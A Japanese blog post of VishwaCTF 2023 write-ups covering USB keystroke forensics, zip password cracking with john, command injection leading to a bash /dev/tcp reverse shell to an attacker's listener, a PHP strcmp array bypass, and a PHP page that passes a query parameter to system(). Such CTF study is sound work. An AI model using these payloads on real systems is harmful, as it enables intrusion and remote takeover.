VishwaCTF 2023 Writeups - はまやんはまやんはまやん

はまやんはまやんはまやん

hamayanhamayan's blog

VishwaCTF 2023 Writeups

[Forensics] 1nj3ct0r

USBの通信をキャプチャしたpcapngファイルが与えられる。
No.107のパケットがDESCRIPTOR Response HID Reportであり、
ここから7.16.Xがキーボードであることが読み取れる。
7.16.1 -> hostの通信にHID Dataが乗っているので、抜き出してみる。

0000
0009
0000
000f
0000
0004
...

となっているので、結構キーボード入力のキャプチャっぽい。
微妙にいつもと様式が異なるので、すべての先頭に00を付けて
Decoding Mixed Case USB Keystrokes from PCAP
にあるスクリプトに通してみるとキーボード入力が得られた。

$ python3 a.py a.txt
flag;[n0w-y0u-423-d0n3-w17h-u58-f023n51c5]

-を_に変換して[]の中身をVishwaCTF{}にくるめば答えのフラグ。

[Forensics] The Sender Conundrum

メールと暗号化zipが与えられる。
メールの内容は以下の通り。

Hello Marcus Cooper,
You are one step behind from finding your flag. 
Here is a Riddle: 
I am a noun and not a verb or an adverb.
I am given to you at birth and never taken away,
You keep me until you die, come what may.
What am I?

英語でなぞなぞするな…と思ってChatGPTに聞いてみると答えは"Name"らしい…がこれでは解凍できない。
総当たりでパスワードクラックを試すと、パスワードが判明し解凍すると答えになる。

$ zip2john unzipme.zip > h
ver 1.0 unzipme.zip/unzipme/ is not encrypted, or stored with non-handled compression type
ver 1.0 efh 5455 efh 7875 unzipme.zip/unzipme/flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=52, decmplen=40, crc=685F97F7 ts=A65D cs=a65d type=0

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
BrandonLee       (unzipme.zip/unzipme/flag.txt)

BrandonLeeは俳優の名前であり、なぞなぞの回答で解凍はできないようだ…

[web] aLive

ソースコード無し。
ドメインを入力してactive/inactiveを判定してくれるサイトが与えられる。

POST /に対してdomain=localhostみたいな感じでドメインを渡している。
何かしらのコマンドで確認していて、コマンドインジェクションできそうと仮定して色々やるとdomain=`sleep%2010` で10秒waitがかかる。
実行結果は取得できないが、コマンドインジェクションはできてそうだ。 OOB抽出とかいろいろやったけれど、最終的にconohaで適用にPC作ってリバースシェル確立してフラグを得た。 conohaだと時間課金なので適当に作って潰してがやりやすいので重宝している。

conohaで適当にUbuntuでサーバーを立てて、ufw allow 443みたいにポート開けてnc -lnvp 443で待つ。
domainに`/bin/bash -c "/bin/bash -i >& /dev/tcp/[yourip]/443 0>&1"`を入れるとリバースシェルが発火してシェルが得られる。
カレントディレクトリにflag.txtがあるので、cat flag.txtしてみるとフラグが置いてある。
サーバーは使い終わったら消しておくこと。管理がちゃんとしてないなら、コスト面での安全性の面でも残しておくのはおすすめしない。

[web] Eeezzy

ログイン画面と検証のためのソースコードが与えられる。

<?php

    session_start();
    $_SESSION['status']=null;

    $flag="";
    try {
        if (isset($_GET['username']) && isset($_GET['password'])) {
            if (strcmp($_GET['username'], $flag)==0 && strcmp($_GET['password'], $flag)==0)
                $_SESSION['status']=$flag;
            else
                $_SESSION['status']="Invalid username or password";
        }
    } catch (Throwable $th) {
        $_SESSION['status']=$flag;
    }

?>

strcmpでユーザー名パスワードを検証していて、
途中で仮に例外になってもフラグがもらえるみたい。
適当にパラメタを配列化してやればフラグが出てきた。

GET /?username=&password[]=&submit=Login HTTP/2
Host: ch411114113999.ch.eng.run

よくわからないのが、usernameもpasswordも配列にするとフラグが出てこなかった。
なぜだろう?

[web] Payload

ソースコード無し。
System detailsというボタンがあり、押してみるとunameの結果っぽいものがもらえる。

ノーヒントなので、とりあえず/robots.txtを見てみると、ソースコードがもらえる。

<?php
    if(isset($_GET['cmd'])){
        system($_GET['cmd']);
    }
    else {
        if(isset($_GET['btn'])){
            echo "<b>System Details: </b>";
            system("uname -a");
        }
    }
?>

/?cmd=idでidコマンドの結果が得られた。
/?cmd=cat%20index.phpでindex.phpの内容を得ることができ、そこにフラグも書いてある。